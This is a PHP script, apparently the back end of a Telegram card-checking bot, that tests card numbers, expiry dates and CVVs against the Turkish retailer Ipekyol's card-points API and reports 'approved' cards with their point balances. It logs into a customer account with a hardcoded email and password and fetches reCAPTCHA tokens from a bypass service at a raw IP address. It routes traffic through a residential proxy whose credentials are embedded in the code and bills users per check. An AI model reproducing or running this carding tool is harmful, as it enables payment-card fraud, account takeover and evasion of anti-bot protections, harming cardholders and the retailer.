<?php

// Çıktı formatını düz metin olarak ayarla
header('Content-Type: text/plain; charset=utf-8');

$timestamp_start = microtime(true);

// Database connection
function getDBConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch(PDOException $e) {
        die("❌ Database connection failed");
    }
}

// Get current limit
function getCurrentLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("SELECT puanlimit FROM users WHERE chatid = ?");
    $stmt->execute([$chatid]);
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    return $result ? intval($result['puanlimit']) : 0;
}

// Decrement limit
function decrementLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("UPDATE users SET puanlimit = GREATEST(puanlimit - 1, 0) WHERE chatid = ?");
    $stmt->execute([$chatid]);
}

// Cookie helper class
class CookieJar {
    private $cookies = [];
    
    public function extractFromResponse($response) {
        if (preg_match_all('/^Set-Cookie:\s*([^;]+)/mi', $response, $matches)) {
            if (isset($_GET['debug'])) {
                error_log("=== MATCHED COOKIES ===");
                error_log(print_r($matches[1], true));
                error_log("=== END MATCHED COOKIES ===");
            }
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $this->cookies[trim($parts[0])] = trim($parts[1]);
                }
            }
        }
    }
    
    public function getCookieHeader() {
        $cookieString = [];
        foreach ($this->cookies as $name => $value) {
            $cookieString[] = "{$name}={$value}";
        }
        return implode('; ', $cookieString);
    }
    
    public function get($name) {
        return isset($this->cookies[$name]) ? $this->cookies[$name] : null;
    }
}

// cURL helper with cookie support
function curlRequest($url, $method = 'GET', $headers = [], $postData = null, &$cookieJar = null, $proxy = null, $followRedirects = true) {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_ENCODING, '');
    
    if ($followRedirects) {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
    }
    
    if ($proxy) {
        curl_setopt($ch, CURLOPT_PROXY, $proxy['host']);
        curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy['auth']);
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
    }
    
    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    }
    
    if ($cookieJar && $cookieJar->getCookieHeader()) {
        $headers[] = 'Cookie: ' . $cookieJar->getCookieHeader();
    }
    
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    
    curl_close($ch);
    
    $headers_response = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    
    if ($cookieJar) {
        // Debug: Log raw headers to see what we're getting
        if (isset($_GET['debug'])) {
            error_log("=== RAW HEADERS ===");
            error_log($headers_response);
            error_log("=== END RAW HEADERS ===");
        }
        $cookieJar->extractFromResponse($headers_response);
    }
    
    return [
        'code' => $http_code,
        'body' => $body
    ];
}

// ReCAPTCHA bypass function
function get_recaptcha_token() {
    $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdapgUqAAAAAAYh0FOZmi5VBvarY2IJKB1MnIWU&co=aHR0cHM6Ly93d3cuaXBla3lvbC5jb20udHI6NDQz&hl=tr&v=7gg7H51Q-naNfhmCP3_R47ho&size=invisible&anchor-ms=20000&execute-ms=15000&cb=19kdui6goflt";
    $bypass_url = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php?anchor=" . urlencode($anchor_url);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $bypass_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $response = curl_exec($ch);
    curl_close($ch);
    
    if ($response) {
        $data = json_decode($response, true);
        if (isset($data['success']) && $data['success'] && isset($data['token'])) {
            return $data['token'];
        }
    }
    
    return null;
}

// Ipekyol Login
function ipekyol_login($proxy, $debug = false) {
    $cookieJar = new CookieJar();
    
    if ($debug) echo "[DEBUG] [STEP 1/4] Visiting homepage...\n";
    
    // Step 1: Visit homepage
    $resp1 = curlRequest(
        "https://www.ipekyol.com.tr/",
        'GET',
        [
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        ],
        null,
        $cookieJar,
        $proxy
    );
    
    if ($debug) echo "[DEBUG]   └─ Status: {$resp1['code']}, Cookies: " . count(explode(';', $cookieJar->getCookieHeader())) . " items\n";
    
    if ($resp1['code'] != 200) {
        if ($debug) echo "[DEBUG]   ❌ Homepage failed with status {$resp1['code']}\n";
        return null;
    }
    
    if ($debug) echo "[DEBUG]   ✅ Homepage loaded\n";
    if ($debug) echo "[DEBUG] [STEP 2/4] Getting AntiForgeryToken...\n";
    
    // Step 2: Get AntiForgeryToken
    $resp2 = curlRequest(
        "https://www.ipekyol.com.tr/tr/Page/Get/GetAntiForgeryToken",
        'GET',
        [
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept: */*',
            'Referer: https://www.ipekyol.com.tr/giris?returnUrl=/sepet&member=signin'
        ],
        null,
        $cookieJar,
        $proxy
    );
    
    if ($debug) echo "[DEBUG]   └─ Status: {$resp2['code']}, Response length: " . strlen($resp2['body']) . " bytes\n";
    
    if ($resp2['code'] != 200) {
        if ($debug) echo "[DEBUG]   ❌ Token request failed with status {$resp2['code']}\n";
        return null;
    }
    
    // Parse token from HTML
    preg_match('/<input name="__RequestVerificationToken" type="hidden" value="([^"]+)"/', $resp2['body'], $matches);
    if (!isset($matches[1])) {
        if ($debug) echo "[DEBUG]   ❌ Token not found in response\n";
        return null;
    }
    $verificationToken = $matches[1];
    
    if ($debug) echo "[DEBUG]   ✅ Token obtained: " . substr($verificationToken, 0, 20) . "...\n";
    if ($debug) echo "[DEBUG] [STEP 3/4] Getting ReCaptcha token from bypass API...\n";
    
    // Step 3: Get ReCaptcha token
    $recaptcha_token = get_recaptcha_token();
    if (!$recaptcha_token) {
        if ($debug) echo "[DEBUG]   ❌ ReCaptcha bypass failed\n";
        return null;
    }
    
    if ($debug) echo "[DEBUG]   ✅ ReCaptcha token: " . substr($recaptcha_token, 0, 30) . "...\n";
    if ($debug) echo "[DEBUG] [STEP 4/5] Submitting login credentials (tugbabaysal@icloud.com)...\n";
    
    // Step 4: Login
    $boundary = '----WebKitFormBoundarymnXFAVBYczTPcNyg';
    
    $login_body = "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"UserNameOrEmail\"\r\n\r\n";
    $login_body .= "tugbabaysal@icloud.com\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"Password\"\r\n\r\n";
    $login_body .= ",CRfgZbZWCq6w8\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"ReCaptchaToken\"\r\n\r\n";
    $login_body .= "{$recaptcha_token}\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"__RequestVerificationToken\"\r\n\r\n";
    $login_body .= "{$verificationToken}\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"returnUrl\"\r\n\r\n";
    $login_body .= "/hesabim\r\n";
    $login_body .= "--{$boundary}--\r\n";
    
    if ($debug) echo "[DEBUG]   └─ POST data size: " . strlen($login_body) . " bytes\n";
    
    $resp4 = curlRequest(
        "https://www.ipekyol.com.tr/tr/LogOn",
        'POST',
        [
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
            'Accept: */*',
            'Accept-Language: tr-TR,tr;q=0.9',
            'Accept-Encoding: gzip, deflate, br',
            'Content-Type: multipart/form-data; boundary=' . $boundary,
            'Origin: https://www.ipekyol.com.tr',
            'Referer: https://www.ipekyol.com.tr/giris?returnUrl=%2Fsepet%23%2Fteslimat&member=signin',
            'Sec-Fetch-Site: same-origin',
            'Sec-Fetch-Mode: cors',
            'Sec-Fetch-Dest: empty',
            'Sec-Ch-Ua: "Chromium";v="143", "Not A(Brand";v="24"',
            'Sec-Ch-Ua-Mobile: ?0',
            'Sec-Ch-Ua-Platform: "Windows"'
        ],
        $login_body,
        $cookieJar,
        $proxy
    );
    
    if ($debug) echo "[DEBUG]   └─ Status: {$resp4['code']}\n";
    
    if ($resp4['code'] != 200) {
        if ($debug) echo "[DEBUG]   ❌ Login failed (HTTP {$resp4['code']})\n";
        return null;
    }
    
    // Check login response
    $login_data = json_decode($resp4['body'], true);
    if ($debug && $login_data) {
        $response_preview = substr(json_encode($login_data, JSON_UNESCAPED_UNICODE), 0, 300);
        echo "[DEBUG]   └─ Login response: {$response_preview}...\n";
        
        $validation_success = isset($login_data['TempDataActionResult']['ValidationResult']['Success']) 
            && $login_data['TempDataActionResult']['ValidationResult']['Success'] === true;
        echo "[DEBUG]   └─ Validation Success: " . ($validation_success ? 'True' : 'False') . "\n";
        
        if (!$validation_success) {
            if ($debug) echo "[DEBUG]   ❌ Login validation failed\n";
            return null;
        }
    }
    
    // Step 4.5: Call LoginRaw endpoint to actually set authentication cookies
    if ($debug) echo "[DEBUG] [STEP 4.5/5] Calling LoginRaw endpoint to set auth cookies...\n";
    
    $resp4_5 = curlRequest(
        "https://www.ipekyol.com.tr/tr/Widget/Get/LoginRaw",
        'GET',
        [
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language: tr-TR,tr;q=0.9',
            'Referer: https://www.ipekyol.com.tr/giris?returnUrl=/hesabim&member=signin',
            'Sec-Fetch-Site: same-origin',
            'Sec-Fetch-Mode: navigate',
            'Sec-Fetch-Dest: document'
        ],
        null,
        $cookieJar,
        $proxy
    );
    
    if ($debug) echo "[DEBUG]   └─ Status: {$resp4_5['code']}, Cookies: " . count(explode('; ', $cookieJar->getCookieHeader())) . " items\n";
    
    if ($resp4['code'] == 302 || $resp4['code'] == 301) {
        // Follow redirect manually if needed
        if ($debug) echo "[DEBUG]   └─ Got redirect, following...\n";
    }
    
    // Step 5: Visit account/profile page to trigger session establishment
    if ($debug) echo "[DEBUG] [STEP 5/5] Visiting account page (/hesabim) to establish session...\n";
    
    $resp5 = curlRequest(
        "https://www.ipekyol.com.tr/hesabim",
        'GET',
        [
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language: tr-TR,tr;q=0.9',
            'Referer: https://www.ipekyol.com.tr/giris?returnUrl=/hesabim&member=signin',
            'Sec-Fetch-Site: same-origin',
            'Sec-Fetch-Mode: navigate',
            'Sec-Fetch-Dest: document'
        ],
        null,
        $cookieJar,
        $proxy
    );
    
    if ($debug) echo "[DEBUG]   └─ Status: {$resp5['code']}\n";
    
    // Extract UserID from ems-member cookie
    $user_id = '4912698'; // Default
    $ems_member = $cookieJar->get('ems-member');
    
    if ($debug) {
        $cookie_header = $cookieJar->getCookieHeader();
        echo "[DEBUG]   └─ Cookies received: " . strlen($cookie_header) . " chars\n";
        echo "[DEBUG]   └─ Cookie content: {$cookie_header}\n";
        
        // Check for critical cookies
        $has_aspxauth = $cookieJar->get('.ASPXAUTH') ? '✅' : '❌';
        $has_emsmember = $ems_member ? '✅' : '❌';
        $has_session = $cookieJar->get('ASP.NET_SessionId') ? '✅' : '❌';
        
        echo "[DEBUG]   └─ .ASPXAUTH: {$has_aspxauth}\n";
        echo "[DEBUG]   └─ ems-member: {$has_emsmember}\n";
        echo "[DEBUG]   └─ ASP.NET_SessionId: {$has_session}\n";
    }
    
    if ($ems_member) {
        $decoded = urldecode($ems_member);
        $member_data = json_decode($decoded, true);
        if ($member_data && isset($member_data['memberid'])) {
            $user_id = (string)$member_data['memberid'];
            if ($debug) {
                $member_name = $member_data['name'] ?? '';
                $member_surname = $member_data['surname'] ?? '';
                $member_email = $member_data['email'] ?? '';
                echo "[DEBUG]   └─ UserId: {$user_id}\n";
                echo "[DEBUG]   └─ Member: {$member_name} {$member_surname} ({$member_email})\n";
            }
        }
    }
    
    // Validate login success
    if (!$cookieJar->get('.ASPXAUTH')) {
        if ($debug) echo "[DEBUG]   ❌ Login validation failed: .ASPXAUTH cookie missing\n";
        return null;
    }
    
    if ($debug) echo "[DEBUG]   ✅ Login successful (UserID: {$user_id})\n";
    
    return [
        'cookieJar' => $cookieJar,
        'user_id' => $user_id
    ];
}

if (!isset($_GET["card"]) || !isset($_GET["chatid"])) {
    die("❌ Kullanım: puan4.php?card=CARD|MM|YY|CVV&chatid=123456");
}

$chatid = $_GET['chatid'];
$debug = isset($_GET['debug']) && $_GET['debug'] == '1';

if ($debug) echo "[DEBUG] ========================================\n";
if ($debug) echo "[DEBUG] PUAN4 CHECKER - DEBUG MODE\n";
if ($debug) echo "[DEBUG] ========================================\n\n";

// Database connection ve limit kontrolü
$pdo = getDBConnection();
$current_limit = getCurrentLimit($pdo, $chatid);

if ($current_limit <= 0) {
    die("❌ Limit Exhausted | 𝐏𝐔𝐀𝐍𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Limit'i azalt
decrementLimit($pdo, $chatid);
$remaining_limit = $current_limit - 1;

$lista = $_GET["card"];
$cc_details = explode("|", $lista);

if (count($cc_details) !== 4) {
    die("Hata: Geçersiz kart formatı. Doğru format: 4444555566667777|12|28|123");
}

list($c, $m, $y, $cv) = array_map("trim", $cc_details);

if (strlen($y) === 4) $y = substr($y, -2);
if (strlen($m) === 1) $m = "0".$m;

if ($debug) echo "[DEBUG] Card parsed: {$c} | {$m}/{$y} | CVV: {$cv}\n\n";

// Proxy ayarları
$proxy = [
    'host' => 'rp.scrapegw.com:6060',
    'auth' => 'ccb7t99f1xa6q6v-country-tr:e88zmabjie6wuek'
];

// Cookie file system
$cookie_file = __DIR__ . '/puan4cookie.txt';

// Check if cookie file exists
if (!file_exists($cookie_file)) {
    die("❌ Cookie Hatası | Cookie dosyası bulunamadı (puan4cookie.txt)");
}

$cookie_age = time() - filemtime($cookie_file);
$cookie_age_hours = round($cookie_age / 3600, 1);

// Warn if cookie is old (more than 24 hours) but still use it
if ($cookie_age > 86400) {
    if ($debug) echo "[DEBUG] ⚠️ WARNING: Cookie file is old (age: {$cookie_age_hours} hours)\n";
    if ($debug) echo "[DEBUG] ⚠️ Cookie may be expired. If checks fail, please update cookie file.\n\n";
}

$cookie_content = trim(file_get_contents($cookie_file));
if (empty($cookie_content)) {
    die("❌ Cookie Hatası | Cookie dosyası boş");
}

if ($debug) {
    echo "[DEBUG] ✅ Cookie file loaded (age: {$cookie_age_hours} hours)\n";
    echo "[DEBUG] Cookie length: " . strlen($cookie_content) . " chars\n\n";
}

if ($debug) {
    echo "[DEBUG] ✅ Cookie file loaded (age: {$cookie_age_hours} hours)\n";
    echo "[DEBUG] Cookie length: " . strlen($cookie_content) . " chars\n\n";
}

// Parse cookie file and populate cookieJar
$cookieJar = new CookieJar();

$cookies_array = explode(';', $cookie_content);
foreach ($cookies_array as $cookie_pair) {
    $cookie_pair = trim($cookie_pair);
    if (!empty($cookie_pair)) {
        $parts = explode('=', $cookie_pair, 2);
        if (count($parts) == 2) {
            // Create a fake Set-Cookie header to use extractFromResponse
            $fake_header = "Set-Cookie: " . $cookie_pair;
            $cookieJar->extractFromResponse($fake_header);
        }
    }
}

// Extract UserID from ems-member
$user_id = '4912698';
$ems_member = $cookieJar->get('ems-member');
if ($ems_member) {
    $decoded = urldecode($ems_member);
    $member_data = json_decode($decoded, true);
    if ($member_data && isset($member_data['memberid'])) {
        $user_id = (string)$member_data['memberid'];
        if ($debug) {
            echo "[DEBUG] UserID: {$user_id}\n";
            echo "[DEBUG] Member: {$member_data['name']} {$member_data['surname']}\n\n";
        }
    }
}

$session = [
    'cookieJar' => $cookieJar,
    'user_id' => $user_id
];

if ($debug) echo "[DEBUG] ✅ Session ready (UserID: {$user_id})\n\n";

// Start check process$cookieJar = $session['cookieJar'];
$user_id = $session['user_id'];

if ($debug) echo "\n[DEBUG] ========================================\n";
if ($debug) echo "[DEBUG] CARD POINT CHECK\n";
if ($debug) echo "[DEBUG] ========================================\n\n";

// ========================================
// Card Point Check
// ========================================

$point_url = "https://www.ipekyol.com.tr/tr/Api/Version/1.0/PaymentApi/GetCreditCardPoint";

$point_payload = json_encode([
    "CreditCard" => [
        "Number" => $c,
        "Owner" => "asdsa sdasasdas",
        "ExpireYear" => intval($y),
        "ExpireMonth" => intval($m),
        "CVC" => $cv
    ],
    "Money" => [
        "Amount" => 17999,
        "CurrencyId" => 1
    ],
    "IpAddress" => "127.0.0.1",
    "PaymentProvider" => "CreditCard"
]);

$max_point_retries = 3;
$point_response = null;

for ($p_retry = 0; $p_retry < $max_point_retries; $p_retry++) {
    if ($p_retry > 0) {
        if ($debug) echo "[DEBUG] 🔄 Point check retry {$p_retry}/{$max_point_retries}...\n";
        sleep(1);
    }
    
    if ($debug) echo "[DEBUG] POST GetCreditCardPoint\n";
    if ($debug) echo "[DEBUG]   └─ Amount: 17999 TRY | UserID: {$user_id}\n";
    if ($debug) echo "[DEBUG]   └─ Card: " . substr($c, 0, 6) . "xxxx" . substr($c, -4) . "\n";
    if ($debug) echo "[DEBUG]   └─ Cookie length: " . strlen($cookieJar->getCookieHeader()) . " chars\n";
    
    $resp = curlRequest(
        $point_url,
        'POST',
        [
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Userid: " . $user_id,
            "Content-Type: application/json",
            "Accept: */*",
            "Origin: https://www.ipekyol.com.tr",
            "Referer: https://www.ipekyol.com.tr/sepet",
            "Sec-Fetch-Site: same-origin",
            "Sec-Fetch-Mode: cors",
            "Sec-Fetch-Dest: empty"
        ],
        $point_payload,
        $cookieJar,
        $proxy
    );
    
    if ($debug) echo "[DEBUG]   └─ Status: {$resp['code']}, Length: " . strlen($resp['body']) . " bytes\n";
    
    if ($resp['code'] == 200 && !empty($resp['body']) && strpos($resp['body'], 'There was an error') === false) {
        $point_response = $resp['body'];
        if ($debug) {
            $preview = substr($resp['body'], 0, 200);
            echo "[DEBUG]   └─ Response preview: {$preview}...\n";
        }
        break;
    } else {
        if ($debug) {
            echo "[DEBUG]   └─ ⚠️ Request failed or error in response\n";
            if ($resp['code'] == 401) {
                echo "[DEBUG]   └─ 401 Unauthorized - Session may be invalid\n";
                echo "[DEBUG]   └─ Response body: {$resp['body']}\n";
            }
        }
    }
}

if (!$point_response) {
    $elapsed = number_format(microtime(true) - $timestamp_start, 1);
    if ($debug) echo "[DEBUG] ❌ All point check attempts failed\n";
    echo "❌ 0₺ | {$lista} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
    exit;
}

// Response analizi
$point_data = json_decode($point_response, true);

if ($debug) {
    echo "[DEBUG] Parsing response...\n";
    echo "[DEBUG]   └─ JSON decoded: " . (json_last_error() === JSON_ERROR_NONE ? 'Success' : 'Failed') . "\n";
}

// Check for errors
if (isset($point_data['Message']) && strpos($point_data['Message'], 'Giriş yaptığınız değerleri') !== false) {
    $elapsed = number_format(microtime(true) - $timestamp_start, 1);
    if ($debug) echo "[DEBUG] ❌ Card validation error: " . $point_data['Message'] . "\n";
    echo "❌ 0₺ | {$lista} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
    exit;
}

// Parse Amount
$amount = '0';
if (isset($point_data['Point']['Amount'])) {
    $amount = (string)$point_data['Point']['Amount'];
    if ($debug) echo "[DEBUG]   └─ Point.Amount: {$amount}\n";
} elseif (isset($point_data['Amount'])) {
    $amount = (string)$point_data['Amount'];
    if ($debug) echo "[DEBUG]   └─ Amount: {$amount}\n";
} else {
    if ($debug) echo "[DEBUG]   └─ No amount field found\n";
}

// Check if successful (has Amount and Currency TRY)
$isApproved = false;
if ((float)$amount > 0 && isset($point_data['Point']['Currency']) && $point_data['Point']['Currency'] === 'TRY') {
    $isApproved = true;
    if ($debug) echo "[DEBUG]   └─ Currency: TRY\n";
    if ($debug) echo "[DEBUG]   ✅ Card APPROVED with {$amount}₺ points\n";
} else {
    if ($debug) echo "[DEBUG]   ❌ Card DECLINED (amount: {$amount})\n";
}

// Çıktıyı formatla
$elapsed = number_format(microtime(true) - $timestamp_start, 1);

if ($debug) echo "\n[DEBUG] ========================================\n";
if ($debug) echo "[DEBUG] FINAL RESULT\n";
if ($debug) echo "[DEBUG] ========================================\n";
if ($debug) echo "[DEBUG] Status: " . ($isApproved ? 'APPROVED✅' : 'DECLINED❌') . "\n";
if ($debug) echo "[DEBUG] Amount: {$amount}₺\n";
if ($debug) echo "[DEBUG] Time: {$elapsed}s\n";
if ($debug) echo "[DEBUG] Remaining limit: {$remaining_limit}\n\n";

// Ana çıktı
if ($isApproved) {
    echo "✅ {$amount}₺ | {$lista} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} else {
    echo "❌ 0₺ | {$lista} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟒 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
}
?>
